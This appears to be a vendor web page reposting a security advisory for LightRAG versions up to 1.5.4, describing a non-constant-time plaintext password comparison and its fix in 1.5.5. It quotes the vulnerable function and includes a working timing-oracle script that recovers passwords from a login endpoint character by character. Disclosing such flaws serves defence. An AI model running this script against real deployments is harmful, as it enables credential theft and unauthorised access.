
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 1.5.4
Patched in 1.5.5
Details
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
if stored_password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored_password == plain_password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual characters
# Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://<TARGET>:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
EPSS, exploit probability
Low0.45%
estimated chance of real-world exploitation in the next 30 days, higher than 39.0% of every CVE FIRST.org scores
Refreshed 11/7/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.